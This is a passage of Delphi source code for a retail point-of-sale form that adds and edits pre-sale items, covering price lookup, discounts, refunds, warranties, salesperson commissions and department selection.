pnlBarCode.Visible := newItemToAddInCashRegister;
bDisableIncresePrice := DM.fSystem.SrvParam[PARAM_DISABLE_INCREASE_PRICE];
// edit button was pressed
if ( not newItemToAddInCashRegister ) then begin
EditQty.Text := myQuPresaleItem.fieldByName('qty').asString;
quantityFromCashRegister := myQuPresaleItem.fieldByName('qty').AsFloat;
cmbModel.ReadOnly := true;
cmbModel.color := clBtnFace;
cmbModel.LookUpValue := myQuPresaleItem.fieldByName('ModelID').AsString;
salePrice := myQuPresaleItem.fieldByName('salePrice').Value;
priceBeforeChange := salePrice;
LoadEditValues(quantityFromCashRegister);
showManualPriceButton();
showDiscountButtons();
end
else begin
cmbModel.ReadOnly := false;
cmbModel.color := clWindow;
NextAppend;
showDiscountButtons();
showManualPriceButton();
end;
Screen.Cursor := crDefault;
EditValue(false);
end;
procedure TFrmPreSaleItem.NextAppend;
begin
salePrice := 0;
newItemToAddInCashRegister := true;
// Zera valores
edtBarcode.Text := '';
EditQty.Text := '1';
cmbModel.LookUpValue := '';
EditCostPrice.Text := '';
EditOriginalSale.Text := '';
EditExchange.Text := '';
EditEachTotal.Text := '';
// amfsouza , April 22 2013
editDiscount.Text := '';
EditTotalDiscount.Text := '';
fHasWarranty := False;
if cmbSalesPerson.LookUpValue = '' then
cmbSalesPerson.LookUpValue := IntToStr(DM.fUser.IDCommission);
try
IsChangeSale := False;
EditSalePrice.Text := '0.00';
finally
IsChangeSale := True;
end;
try
IsChangeTotal := False;
EditTotal.Text := '';
finally
IsChangeTotal := True;
end;
// cmbModel.SetFocus;
if (DM.fSystem.SrvParam[PARAM_SALE_SCREEN_TYPE]=2) then
cmbModel.SetFocus
else
edtBarcode.Setfocus;
// Abre as quantidades mesmo vazias
RefreshQty;
//Abre as Garantias
RefreshWarranty;
btDiscount.Visible := Password.HasFuncRight(83);
EditDiscount.Text := MyFloatToStr( 0 );
EditTotalDiscount.Text := MyFloatToStr( 0 );
newItemToAddInCashRegister := true;
end;
procedure TFrmPreSaleItem.SelectModel;
var
fIDModel: Integer;
fVerifyQty: Variant;
fCostValue, fStoreCost, fStoreAvg, fStoreSell, fPromotionPrice: Currency;
begin
//to see that part tomorrow. When I add an item I cannot retrieve after selected model.
CustomerDiscount := 0;
// Pega o salePrice e Quantities
RefreshQty;
RefreshDepartment;
if ( newItemToAddInCashRegister ) then
begin
fIDModel := StrToInt(cmbModel.LookUpValue);
if not(DM.ModelRestored(fIDModel)) then
begin
edtBarcode.Text := '';
cmbModel.LookUpValue := '';
exit;
end;
end
else
fIDModel := MyquPreSaleItem.FieldByName('ModelID').AsInteger;
DM.fPOS.GetQty(fIDModel, DM.fStore.IDStoreSale, fOnHand, fOnPreSale, fOnPrePurchase, fOnAvailable);
//Pego o case qty, que será utlizado para validar embalagem na venda;
if ( cmbModel.GetFieldByName('CaseQty') <> null ) then
FModelCaseQty := cmbModel.GetFieldByName('CaseQty');
fVerifyQty := cmbModel.GetFieldByName('NotVerifyQty');
if fVerifyQty <> Null then
fNotVerifyQty := StrToBoolDef(fVerifyQty, False)
else
fNotVerifyQty := False;
if ( newItemToAddInCashRegister ) then
begin
if HasPriceTable then
begin
if not Assigned(FFrmChoosePrice) then
FFrmChoosePrice := TFrmChoosePrice.Create(Self);
if Assigned(FPriceTable) then
FreeAndNil(FPriceTable);
FPriceTable := FFrmChoosePrice.ChoosePrice(DM.fStore.ID, fIDModel);
CostPrice := FPriceTable.CostPrice;
SalePrice := FPriceTable.SalePrice;
OriginalSalePrice := SalePrice;
EditSalePrice.Text := MyFloatToStr(SalePrice, DM.FQtyDecimalFormat);
end
else
begin
// Pega o SalePrice da Stored Procedure, pois pode existir Special Price
with spSalePrice do
begin
Parameters.ParambyName('@ModelID').Value := StrToInt(cmbModel.LookUpValue);
Parameters.ParambyName('@IDStore').Value := DM.fStore.ID;
Parameters.ParambyName('@IDCustomer').Value := MyIDCliente;
Parameters.ParambyName('@Discount').Value := CustomerDiscount;
Parameters.ParambyName('@SpecialPriceID').Value := MyquPreSaleValue.FieldByName('SpecialPriceID').AsInteger;
ExecProc;
fStoreCost := Parameters.ParambyName('@StoreCostPrice').Value;
fStoreSell := Parameters.ParambyName('@StoreSalePrice').Value;
fStoreAvg := Parameters.ParambyName('@StoreAvgCost').Value;
CustomerDiscount := Parameters.ParambyName('@Discount').Value;
FAddKitItems := Parameters.ParambyName('@AddKitItems').Value;
fPromotionPrice := Parameters.ParambyName('@PromotionPrice').Value;
if DM.fStore.Franchase then
SalePrice := fStoreSell
else
begin
if (fStoreSell <> 0) then
SalePrice := fStoreSell
else
SalePrice := Parameters.ParambyName('@SalePrice').Value;
end;
OriginalSalePrice := SalePrice;
// Seta o valor do sale price
try
IsChangeSale := False;
if (fPromotionPrice < (SalePrice - CustomerDiscount)) and (fPromotionPrice <> 0) then
EditSalePrice.Text := MyFloatToStr(fPromotionPrice, dm.FQtyDecimalFormat)
else
EditSalePrice.Text := MyFloatToStr((SalePrice - CustomerDiscount), dm.FQtyDecimalFormat);
finally
IsChangeSale := True;
end;
if DM.fStore.Franchase then
begin
CostPrice := fStoreCost;
if fStoreAvg = 0 then
AvgCost := fStoreCost
else
AvgCost := fStoreAvg;
end
else
begin
//utilizado para salvar o custo futuro
if DM.fSystem.SrvParam[PARAM_USE_ESTIMATED_COST] then
CostPrice := Parameters.ParambyName('@ReplacementCost').Value
else
CostPrice := Parameters.ParambyName('@CostPrice').Value;
AvgCost := Parameters.ParambyName('@AvgCostPrice').Value;
end;
end;
end;
end;
if (DM.fSystem.SrvParam[PARAM_MARKUPOVERCOST] or DM.fSystem.SrvParam[PARAM_USE_ESTIMATED_COST]) then
fCostValue := CostPrice
else
begin
if AvgCost <> 0 then
fCostValue := AvgCost
else
fCostValue := CostPrice;
end;
EditCostPrice.Text := FloatToStrF(fCostValue, ffNumber, 20, DM.FQtyDecimal);
EditOriginalSale.Text := FloatToStrF(SalePrice, ffNumber, 20, DM.FQtyDecimal);
if ( newItemToAddInCashRegister ) then
EditQtyChange(nil);
if ( newItemToAddInCashRegister ) then
begin
if DM.fSystem.SrvParam[PARAM_FASTSALE] then
btOKClick(nil)
else
if EditQty.CanFocus then
EditQty.SetFocus;
end
else
begin
if EditQty.CanFocus then
EditQty.SetFocus;
end;
//Abre os acessorios
RefreshAccessory;
//Abre as Garantias
RefreshWarranty;
end;
procedure TFrmPreSaleItem.VerifyCommissions;
begin
DM.fPOS.AddCommissionsList(MyPreInventMovID, SALE_PRESALE);
if DM.fPOS.fCommisList.Count > 1 then
ModifytoCommissions
else if DM.fPOS.fCommisList.Count = 1 then
begin
cmbSalesPerson.LookUpValue := InttoStr(TSalesPerson(DM.fPOS.fCommisList.Objects[0]).IDPessoa);
DM.fPOS.ClearCommissionList;
end;
end;
procedure TFrmPreSaleItem.LoadEditValues(quantityAssigned: double);
var
tempExtDiscount: extended;
tempExtTotal: extended;
tempUnit: Extended;
tempUnitTotal: Extended;
bEmpty: boolean;
modelCds: TClientDataset;
unitPrice, unitDiscount, unitTotal, extDiscount, extTotal: Extended;
begin
// Antonio M F Souza, December 26, 2012 - to fix detail x price break.
OriginalSalePrice := SalePrice;
EditOriginalSale.Text := formatFloat('#,##0.00##', salePrice);//FloatToStrF(SalePrice, ffNumber, 11, CountDecimalPlaces(salePrice));
{ Begin Alex 09/16/2011 - Sale price should not change automatically at all }
// Automaticamente troca o Total price
// Antonio M F Souza November 26, 2012
editSalePrice.DisplayFormat := getDisplayFormat(CountDecimalPlaces(salePrice));
EditSalePrice.Text := EditOriginalSale.Text;
cmbDepartment.LookUpValue := IntToStr(FDepartment);
VerifyCommissions;
// Antonio M F Souza, Jan 09 2013
if ( not newItemToAddInCashRegister ) then begin
cmbModel.LookUpValue := MyquPreSaleItem.FieldByName('ModelID').AsString;
EditCostPrice.Text := FloatToStrF(MyquPreSaleItem.FieldByName('CostPrice').AsFloat, ffNumber, 20, DM.FQtyDecimal);
CostPrice := MyquPreSaleItem.FieldByName('CostPrice').AsFloat;
EditExchange.Text := MyquPreSaleItem.FieldByName('ExchangeInvoice').AsString;
// Antonio M F Souza December 12, 2012 : unit discount <-> EditDiscount
unitDiscount := MyquPreSaleItem.FieldByName('UnitDiscount').AsFloat;
// case remove discount was pressed
if ( removediscountApplied )
then unitDiscount := 0;
EditDiscount.Text := MyFloatToStr(unitDiscount, getDisplayFormat(CountDecimalPlaces(unitDiscount)));
// Antonio M F Souza May 20 2013: Extended Discount <-> EditTotalDiscount
extDiscount := unitDiscount * strToFloat(EditQty.Text);
//EditTotalDiscount.Text := MyFloatToStr( tempExtDiscount, getDisplayFormat(2));
// Antonio 2013 Nov 5, MR-86
editTotalDiscount.Text := FloatToStr(extDiscount);
// Antonio M F Souza December 13 2012: Unit Total <-> EditEachTotal
unitTotal := SalePrice * strToFloat(editQty.text);
if ( abs(salePrice) < abs(MyquPreSaleItem.FieldByName('Discount').AsFloat) ) then begin
unitTotal := abs(salePrice * strToFloat(editQty.text));// - abs(extDiscount);
end;
EditEachTotal.Text := myFloatToStr(unitTotal, getDisplayFormat(countDecimalPlaces(unitTotal)));
// Antonio June 13, 2013 - to fix discount from refund
if ( extDiscount < 0 ) then
extDiscount := (-1) * extDiscount;
// Antonio M F Souza January 07 2013: Ext Total <-> EditTotal
if ( quantityAssigned < 0 ) then
extTotal := unitTotal + extDiscount
else
extTotal := unitTotal - extDiscount;
// Antonio M F Souza, December 14, 2012
extTotal := roundLikeDatabase(extTotal, 2);
editTotal.Text := myFloatToStr(extTotal, getDisplayFormat(CountDecimalPlaces(2)));
FManuallyDiscount := unitDiscount;
{ End Alex 09/16/2011 }
end
else begin
if ( cmbModel.LookUpValue = '') then begin
exit;
end;
modelCds := dm.getPresaleByModel(intToStr(MyIDPreSale), strToInt(cmbModel.LookUpValue));
if ( not modelCds.IsEmpty ) then begin
EditCostPrice.Text := FloatToStrF(modelCds.FieldByName('CostPrice').AsFloat, ffNumber, 20, DM.FQtyDecimal);
CostPrice := modelCds.FieldByName('CostPrice').AsFloat;
EditExchange.Text := modelCds.FieldByName('ExchangeInvoice').AsString;
end;
(*
// Antonio M F Souza December 12, 2012 : unit discount <-> EditDiscount
unitDiscount := modelCds.FieldByName('UnitDiscount').AsFloat;
EditDiscount.Text := MyFloatToStr(unitDiscount, getDisplayFormat(CountDecimalPlaces(unitDiscount)));
// Antonio M F Souza December 13 2012: Ext. Discount <-> EditTotalDiscount
extDiscount := modelCds.FieldByName('Discount').AsFloat;
EditTotalDiscount.Text := MyFloatToStr( extDiscount, getDisplayFormat(2));
// Antonio M F Souza December 13 2012: Unit Total <-> EditEachTotal
unitTotal := salePrice * strToFloat(EditQty.Text); //- modelCds.FieldByName('Discount').AsFloat);
EditEachTotal.Text := myFloatToStr(unitTotal, getDisplayFormat(countDecimalPlaces(unitTotal)));
// Antonio M F Souza January 07 2013: Ext Total <-> EditTotal
extTotal := unitTotal - extDiscount;
// Antonio M F Souza, December 14, 2012
extTotal := roundLikeDatabase(extTotal, 2);
editTotal.Text := myFloatToStr(extTotal, getDisplayFormat(CountDecimalPlaces(2)));
FManuallyDiscount := unitDiscount;
*)
// Antonio M F Souza December 12, 2012 : unit discount <-> EditDiscount
unitDiscount := 0;
EditDiscount.Text := MyFloatToStr(unitDiscount, getDisplayFormat(CountDecimalPlaces(unitDiscount)));
// Antonio M F Souza December 13 2012: Ext. Discount <-> EditTotalDiscount
extDiscount := 0;
EditTotalDiscount.Text := MyFloatToStr( extDiscount, getDisplayFormat(2));
// Antonio M F Souza December 13 2012: Unit Total <-> EditEachTotal
unitTotal := salePrice * strToFloat(EditQty.Text); //- modelCds.FieldByName('Discount').AsFloat);
EditEachTotal.Text := myFloatToStr(unitTotal, getDisplayFormat(countDecimalPlaces(unitTotal)));
// Antonio M F Souza January 07 2013: Ext Total <-> EditTotal
extTotal := unitTotal - extDiscount;
// Antonio M F Souza, December 14, 2012
extTotal := roundLikeDatabase(extTotal, 2);
editTotal.Text := myFloatToStr(extTotal, getDisplayFormat(CountDecimalPlaces(2)));
FManuallyDiscount := 0;
freeAndNiL(modelCds);
end;
end;
procedure TFrmPreSaleItem.EditQtyChange(Sender: TObject);
var
IsKit, bEmpty: Boolean;
iModelID: Integer;
tempUnit, tempExtTotal, tempDiscount, tempTotalDiscount: Extended;
_qty: double;
begin
EditValue(True);
if Trim(EditQty.Text) = '-' then
Exit;
if trim(editQty.Text) = '' then begin
showMessage('Quantity can not be blank');
editQty.Text := '0';
exit;
end;
// Antonio, Oct 01, 2013
_qty := myQuPresaleItem.fieldByName('qty').AsFloat;
if ( FisRefund ) then begin
if ( _qty = 0 ) then
_qty := 1;
if ( _qty > 0 ) then
_qty := _qty * (-1);
EditQty.Text := floatToStr(_qty);
end;
// Testa se o user digitou qty negativa e vê se é manager
if (MyStrToDouble(EditQty.Text) < 0) and (not Password.HasFuncRight(31)) then
begin
MsgBox(MSG_INF_NOT_REFUND_ITEM, vbOKOnly + vbInformation);
Close;
Exit;
end;
// Ve se vai mostrar o Invoice original da Exchange
pnlExchange.Visible := (MyStrToDouble(EditQty.Text) < 0) and not (Password.HasFuncRight(5));
if pnlExchange.visible then
EditExchange.SetFocus;
// Pega o Selling Price especial
if (newItemToAddInCashRegister) and (cmbModel.LookUpValue <> '') then begin
iModelID := StrToInt(cmbModel.LookUpValue);
end
else
iModelID := MyquPreSaleItem.FieldByName('ModelID').AsInteger;
SalePrice := DM.fPOS.GetKitPrice(iModelID, MyStrToDouble(EditQty.Text), OriginalSalePrice, bEmpty, MyIDPreSale, false, true);
// Antonio M F Souza - Feb 21, 2013
if ( isPriceChangedManually ) then begin
salePrice := MyStrToDouble(editSalePrice.Text);
isPriceChangedManually := false;
end
else begin
if ( not dm.fPOS.canUpdatePriceOnEdit(iModelID) ) then
salePrice := originalSalePrice;
end;
EditOriginalSale.Text := FloatToStrF(SalePrice, ffCurrency, 20, DM.FQtyDecimal);
if (not bEmpty) then
begin
try
IsChangeSale := False;
EditSalePrice.Text := MyFloatToStr((SalePrice - CustomerDiscount), dm.FQtyDecimalFormat);
finally
IsChangeSale := True;
end;
end
else if SalePrice <> MyStrToMoney(EditSalePrice.Text) then
SalePrice := MyStrToMoney(EditSalePrice.Text);
try
IsChangeTotal := False;
quantityChangedInThisScreen := strToFloat(editQty.Text);
LoadEditValues(quantityChangedInThisScreen);
finally
IsChangeTotal := True;
end;
end;
procedure TFrmPreSaleItem.EditTotalChange(Sender: TObject);
var
Code: Integer;
Value: Real;
begin
if not IsChangeTotal then
Exit;
Val(EditTotal.Text, Value, Code);
if Code <> 0 then
Value := 0;
IsChangeSale := True;
end;
procedure TFrmPreSaleItem.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
//Antonio M F Souza 02.03.2011- call to inheritence.
inherited;
case Key of
VK_F2: btSearch.Click;
27: if Trim(cmbModel.Text) = '' then btCancel.click;
end;
end;
procedure TFrmPreSaleItem.btShowCostClick(Sender: TObject);
begin
editCostPrice.Visible := btShowCost.Down;
lblCost.Visible := btShowCost.Down;
end;
procedure TFrmPreSaleItem.btSearchClick(Sender: TObject);
var
R: integer;
begin
with TFrmBarcodeSearch.Create(self) do
begin
R := Start(MOV_TYPE_SALE);
if R <> -1 then
begin
cmbModel.LookUpValue := IntToStr(R);
SelectModel;
end;
Free;
end;
end;
procedure TFrmPreSaleItem.EditQtyKeyPress(Sender: TObject; var Key: Char);
begin
Key := ValidateDouble(Key);
end;
procedure TFrmPreSaleItem.spHelpClick(Sender: TObject);
begin
Application.HelpContext(1040);
end;
procedure TFrmPreSaleItem.editCostPriceChange(Sender: TObject);
begin
EditValue(True);
end;
procedure TFrmPreSaleItem.cmbSalesPersonChange(Sender: TObject);
begin
EditValue(True);
end;
procedure TFrmPreSaleItem.EditSalePriceKeyPress(Sender: TObject; var Key: Char);
begin
Key := ValidatePositiveCurrency(Key);
end;
procedure TFrmPreSaleItem.EditExchangeKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
if Key = VK_F2 then
btnExchangeClick(self);
end;
procedure TFrmPreSaleItem.btnExchangeClick(Sender: TObject);
begin
// open invoice
if EditExchange.Text <> '' then
if MyStrToInt(DM.DescCodigo(['IDInvoice'], [EditExchange.Text], 'Invoice', 'SaleCode')) = 0 then
MsgBox(MSG_INF_INVOICE_NOT_FOND, vbOKOnly + vbInformation)
end;
procedure TFrmPreSaleItem.FormCreate(Sender: TObject);
begin
inherited;
EditSalePrice.DisplayFormat := DM.FQtyDecimalFormat;
FSaleItem := TSaleItem.Create;
SubQty.CreateSubList;
SubInvAccessoty.CreateSubList;
WarrantyModels.CreateSubList;
if DM.IsFormsRestric(Self.Name) then
btOK.Enabled := False;
DM.imgSmall.GetBitmap(BTN18_CAMERA, btnPicture.Glyph);
DM.imgSmall.GetBitmap(BTN18_LAMP, btShowCost.Glyph);
DM.imgSmall.GetBitmap(BTN18_SEARCH, btSearch.Glyph);
DM.imgBTN.GetBitmap(BTN_USER, btSplit.Glyph);
DM.imgSmall.GetBitmap(BTN18_LOCK, btUnlockPrice.Glyph);
edtBarcode.CheckBarcodeDigit := DM.fSystem.SrvParam[PARAM_REMOVE_BARCODE_DIGIT];
edtBarcode.MinimalDigits := DM.fSystem.SrvParam[PARAM_MIN_BARCODE_LENGTH];
edtBarcode.RunSecondSQL := DM.fSystem.SrvParam[PARAM_SEARCH_MODEL_AFTER_BARCODE];
end;
procedure TFrmPreSaleItem.RefreshQty;
var
MyIDModel: Integer;
begin
if ( newItemToAddInCashRegister ) then
MyIDModel := StrToIntDef(cmbModel.LookUpValue,0)
else
MyIDModel := MyquPreSaleItem.FieldByName('ModelID').AsInteger;
SubQty.Param := 'IDModel='+IntToStr(MyIDModel)+';';
end;
procedure TFrmPreSaleItem.btnPictureClick(Sender: TObject);
begin
inherited;
if cmbModel.LookUpValue <> '' then
with TFrmModelPicture.Create(Self) do
Start(cmbModel.LookUpValue);
end;
procedure TFrmPreSaleItem.RefreshAccessory;
var
MyIDModel: Integer;
begin
if ( newItemToAddInCashRegister ) then
MyIDModel := StrToIntDef(cmbModel.LookUpValue, 0)
else
MyIDModel := MyquPreSaleItem.FieldByName('ModelID').AsInteger;
SubInvAccessoty.Param := 'IDModel=' + IntToStr(MyIDModel) + ';';
end;
procedure TFrmPreSaleItem.RefreshWarranty;
var
MyIDModel: Integer;
MyAmount: Currency;
begin
if ( newItemToAddInCashRegister ) then begin
MyIDModel := StrToIntDef(cmbModel.LookUpValue,0);
MyAmount := MyStrToMoney(EditSalePrice.Text);
WarrantyModels.Param := 'IDModel=' + IntToStr(MyIDModel) + ';Amount=' + CurrToStr(MyAmount) + ';';
end
else
WarrantyModels.Param := 'IDModel=0;Amount=0;'; //Alteracao nao exibe garantia
end;
procedure TFrmPreSaleItem.WarrantyModelsAfterParamChanged(Changes: String);
begin
inherited;
WarrantyModels.Visible := StrToBoolDef(ParseParam(Changes, 'Empty'), False);
fHasWarranty := StrToBoolDef(ParseParam(Changes, 'HasWarranty'), False);
if WarrantyModels.Visible then
begin
Self.Height := 528;
SubInvAccessoty.Top := WarrantyModels.Top + WarrantyModels.Height;
end
else
begin
Self.Height := 505;
SubInvAccessoty.Top := WarrantyModels.Top;
end;
end;
procedure TFrmPreSaleItem.AfterInsertItem;
var
sValues, sSQL: String;
fPreInvMovID, iError, fIDModel: Integer;
fSalePrice, fCostPrice: Currency;
begin
//Adiciono a garantia caso tenha
sValues := WarrantyModels.GetSubListInfo(sValues);
if (not fHasWarranty) or (sValues = '') then
Exit;
fIDModel := StrToIntDef(ParseParam(sValues, 'IDModel'),0);
fSalePrice := MyStrToMoney(ParseParam(sValues, 'SalePrice'));
fCostPrice := MyStrToMoney(ParseParam(sValues, 'CostPrice'));
DM.fPOS.AddHoldItem(MyIDCliente,
MyIDPreSale,
fIDModel,
DM.fStore.IDStoreSale,
1, //Qty
0, //Disocunt
fSalePrice,
fCostPrice,
DM.fUser.ID,
MyStrToInt(cmbSalesPerson.LookUpValue),
MyPreSaleDate,
Now,
False,
False,
0, //somente para troca
FDepartment,
iError,
fPreInvMovID);
//Associo a Garantia no Model
sSQL := 'UPDATE PreInventoryMov SET IDPreInventoryMovParent = ' +IntToStr(MyPreInventMovID) +
' WHERE IDPreInventoryMov = ' + IntToStr(fPreInvMovID);
DM.RunSQL(sSQL);
//Poll Display
DM.PollDisplayAddItem(fPreInvMovID,
fIDModel,
MyquPreSaleItem.FieldByName('Model').AsString,
MyquPreSaleItem.FieldByName('Description').AsString,
1,
fSalePrice,
0);
end;
function TFrmPreSaleItem.ValidateFields: Boolean;
var
Qty: Double;
begin
Result := False;
if Trim(EditQty.Text) = '-' then
begin
raise exception.create('Invalid Quantity');
Exit;
end;
try
StrToFloat(RetiraSepadorMilhar(editCostPrice.Text));
except
MsgBox(MSG_CRT_INVAL_COST_PRICE, vbCritical + vbOkOnly);
Exit;
end;
Qty := MyStrToDouble(EditQty.Text);
if Qty = 0 then
begin
EditQty.SetFocus;
MsgBox(MSG_CRT_NO_QTY_EMPTY , vbOKOnly + vbCritical);
Exit;
end;
if (Qty < 0) and (EditExchange.Text = '') then
begin
if not Password.HasFuncRight(5) then
begin
EditExchange.SetFocus;
MsgBox(MSG_CRT_NO_INVOICE_NUM_EMPTY, vbOKOnly + vbCritical);
Exit;
end;
end;
if (cmbSalesPerson.LookUpValue = '') and pnlSalesPerson.Visible and not(HaveCommissions) then
begin
cmbSalesPerson.SetFocus;
MsgBox(MSG_CRT_NO_SALESPERSON_EMPTY, vbOKOnly + vbCritical);
Exit;
end;
if (TruncMoney(MyStrToMoney(EditTotal.Text), DM.FQtyDecimal) = 0) and not Password.HasFuncRight(3) then
begin
EditQty.SetFocus;
MsgBox(MSG_INF_NOT_GIVE_GIFTS, vbOKOnly + vbInformation);
Exit;
end;
//Antonio M F Souza 09.27.2011 - begin
if ( not DM.fSystem.SrvParam[PARAM_FASTSALE] ) then begin
if (cmbDepartment.LookUpValue = '') and cmbDepartment.Visible then
begin
cmbDepartment.SetFocus;
MsgBox(MSG_INF_SELECT_DEPARTMENT , vbOKOnly + vbInformation);
Exit;
end;
end
else begin
if ( FDepartmentId <> '' ) then
begin
cmbDepartment.LookUpValue := FDepartmentId;
cmbDepartmentSelectItem(nil);
end;
end;
//Antonio M F Souza 09.27.2011 - end
if FModelCaseQty > 0 then
if DM.fSystem.SrvParam[PARAM_VALIDATE_CASE_QTY_ON_HOLD] then
if Frac(Qty / FModelCaseQty) <> 0 then
begin
MsgBox(MSG_INF_QTY_NOT_DIF_MULT_CASE, vbCritical + vbOKOnly);
Exit;
end;
Result := True;
end;
procedure TFrmPreSaleItem.btDiscountClick(Sender: TObject);
var
dReturnValue,
SalePriceBeforeDiscount : Double;
tempValue: Extended;
numberDecimalPlaces: Integer;
qty: Extended;
unitDiscount, extDiscount, unitTotal, extTotal: Extended;
begin
inherited;
if (MyquPreSaleValue.FieldByName('InvoiceDiscount').AsCurrency > 0) and (not Password.HasFuncRight(74)) and (not newItemToAddInCashRegister) then
MsgBox(MSG_INF_INVOICE_ALREADY_DISC, vbOKOnly + vbInformation)
else
with TFrmPreSaleItemDiscount.Create(Self) do begin
SalePriceBeforeDiscount := MyStrToMoney(EditSalePrice.Text);
dReturnValue := Start( MyStrToMoney( editSalePrice.Text ) );
// Antonio Apr 2014 04
fSaleItem.IsManualDiscount := true;
if ( not DiscountApplied ) then begin
if (editDiscount.Text <> '' ) then
exit;
end;
// Unit Discount <-> EditDiscount
unitDiscount := SalePriceBeforeDiscount - dReturnValue;
EditDiscount.Text := MyFloatToStr( ( SalePriceBeforeDiscount - dReturnValue ), getDisplayFormat(CountDecimalPlaces(dReturnValue)) );
// Unit Total <-> EditEachTotal.Text
unitTotal := salePriceBeforeDiscount * strToFloat(EditQty.Text);
EditEachTotal.Text := MyFloatToStr(unitTotal, getDisplayFormat(CountDecimalPlaces(unitTotal)));
// Ext Discount <-> EditTotalDiscount.Text
extDiscount := strToFloat(editQty.Text) * unitDiscount;
//Antonio 2013 Nov 5, MR-86
numberDecimalPlaces := CountDecimalPlaces(extDiscount);
editTotalDiscount.Text := FloatToStrF(extDiscount, ffNumber, 8, numberDecimalPlaces);// myFloatToStr(tempTotalDiscount);
// Antonio M F Souza December 13 2012: Ext Total <-> EditTotal.Text
qty := myquPresaleItem.fieldByName('qty').asFloat;
if ( myquPresaleItem.fieldByName('qty').asFloat = 0 )
then
qty := 1;
extTotal := unitTotal - extDiscount;
editTotal.Text := myFloatToStr(extTotal, getDisplayFormat(CountDecimalPlaces(2)));
FManuallyDiscount := unitDiscount;
fsaleItem.ManualDiscount := FManuallyDiscount;
end;
end;
procedure TFrmPreSaleItem.btSplitClick(Sender: TObject);
var AppliAll : Boolean;
begin
if not Password.HasFuncRight(63) then
begin
MsgBox(MSG_INF_NOT_MODIFY_COMMISSION, vbOKOnly + vbInformation);
Exit;
end;
DM.fPOS.ClearCommissionList;
ArrangeCommissionsList;
with TFrmAddItemCommission.Create(Self) do
Start(0, AppliAll);
if DM.fPOS.fCommisList.Count > 1 then
ModifytoCommissions
else if DM.fPOS.fCommisList.Count = 1 then
begin
cmbSalesPerson.LookUpValue := IntToStr(TSalesPerson(DM.fPOS.fCommisList.Objects[0]).IDPessoa);
EditValue(True);
HaveCommissions := False;
edtCommissions.Visible := HaveCommissions;
end
else
ArrangeCommissionsList;
end;
procedure TFrmPreSaleItem.FormClose(Sender: TObject; var Action: TCloseAction);
begin
inherited;
cmbDepartment.LookUpValue := '';
DM.fPOS.ClearCommissionList;
if SalesPerson <> Nil then
begin
SalesPerson := Nil;
SalesPerson.Free;
end;
end;
procedure TFrmPreSaleItem.ModifytoCommissions;
var
i: Integer;
begin
HaveCommissions := True;
edtCommissions.Text := '';
for i := 0 to DM.fPOS.fCommisList.Count - 1 do
edtCommissions.Text := edtCommissions.Text + DM.fPOS.fCommisList.Strings[i] + '; ';
edtCommissions.Visible := HaveCommissions;
end;
procedure TFrmPreSaleItem.ArrangeCommissionsList;
begin
if not HaveCommissions then
begin
SalesPerson := TSalesPerson.Create;
SalesPerson.IDPessoa := StrtoInt(cmbSalesPerson.LookUpValue);
SalesPerson.Pessoa := cmbSalesPerson.Text;
SalesPerson.Percent := 100;
DM.fPOS.fCommisList.AddObject(SalesPerson.Pessoa + ' - ' + FloattoStr(SalesPerson.Percent) + '%',SalesPerson);
end
else
DM.fPOS.AddCommissionsList(MyPreInventMovID,SALE_PRESALE);
end;
procedure TFrmPreSaleItem.edtBarcodeEnter(Sender: TObject);
begin
inherited;
btOk.Default := False;
end;
procedure TFrmPreSaleItem.edtBarcodeExit(Sender: TObject);
begin
inherited;
btOk.Default := True;
end;
procedure TFrmPreSaleItem.edtBarcodeAfterSearchBarcode(Sender: TObject);
var
IDModel: Integer;
begin
inherited;
with edtBarcode do
begin
if SearchResult then
begin
IDModel := GetFieldValue('IDModel');
cmbModel.LookUpValue := IntToStr(IDModel);
if GetFieldValue('CaseQty') > 1 then
EditQty.Text := FloatToStr(GetFieldValue('CaseQty'))
else
EditQty.Text := '1';
SelectModel;
end
else
MsgBox(MSG_CRT_NO_BARCODE, vbCritical + vbOkOnly);
end;
end;
procedure TFrmPreSaleItem.FormDestroy(Sender: TObject);
begin
inherited;
FreeAndNil(FSaleItem);
if Assigned(FFrmChoosePrice) then
FreeAndNil(FFrmChoosePrice);
if Assigned(FFrmEnterMovDocumet) then
FreeAndNil(FFrmEnterMovDocumet);
if ( assigned(FListIdPreInventoryOnSameSale) ) then
freeAndNil(FListIdPreInventoryOnSameSale);
end;
procedure TFrmPreSaleItem.RefreshDepartment;
var
FilterValue: String;
DepartmentCount: Integer;
begin
if cmbModel.LookUpValue <> '' then
with DM.quFreeSQL do
begin
if Active then
Close;
SQL.Clear;
SQL.Text := ' SELECT IDDepartment FROM Inv_ModelDepartment (NOLOCK) ' +
' WHERE ModelID = ' + cmbModel.LookUpValue + ' AND StoreID = ' + InttoStr(DM.fStore.IDStoreSale);
Open;
DepartmentCount := DM.quFreeSQL.RecordCount;
if IsEmpty then
begin
if Active then
Close;
SQL.Clear;
SQL.Text := ' SELECT T.IDDepartment FROM Model M (NOLOCK) JOIN TabGroup T (NOLOCK) ON (T.IDGroup = M.GroupID) ' +
' WHERE M.IDModel = ' + cmbModel.LookUpValue;
Open;
DepartmentCount := 1;
end;
if not(IsEmpty) then
begin
{
First;
while not EOF do
begin
if FilterValue = '' then
FilterValue := 'IDDepartment = ' + FieldByName('IDDepartment').AsString
else
FilterValue := FilterValue + ' or ' + 'IDDepartment = ' + FieldByName('IDDepartment').AsString;
Next;
end;
}
if DepartmentCount = 1 then
begin
cmbDepartment.LookUpValue := FieldByName('IDDepartment').AsString;
cmbDepartmentSelectItem(nil);
//Antonio M F Souza 09.27.2011 - begin
FDepartmentId := FieldByName('IDDepartment').AsString;
//Antonio M F Souza 09.27.2011 - end
end
else
cmbDepartment.SpcWhereClause := FilterValue;
end;
Close;
end;
{
if DepartmentCount <= 1 then
begin
cmbDepartment.Visible := false;
lblDepartment.Visible := false;
end
else
begin
cmbDepartment.Visible := true;
lblDepartment.Visible := true;
end;
}
end;
procedure TFrmPreSaleItem.cmbDepartmentSelectItem(Sender: TObject);
begin
inherited;
FDepartment := StrToInt(cmbDepartment.LookUpValue);
end;
procedure TFrmPreSaleItem.EditSalePriceCurrChange(Sender: TObject);
var
Code : Integer;
Value : Real;
begin
inherited;
EditValue(True);
if ( not IsChangeSale )
then begin
fsaleItem.IsManualPrice := false;
Exit;
end;
Value := MyStrToMoney( EditSalePrice.Text );
priceAfterChange := value;
try
IsChangeTotal := False;
SalePrice := MyStrToMoney( EditSalePrice.Text );
{ Alex 09/16/2011 - When changing value discount will be reset to zero and Each total }
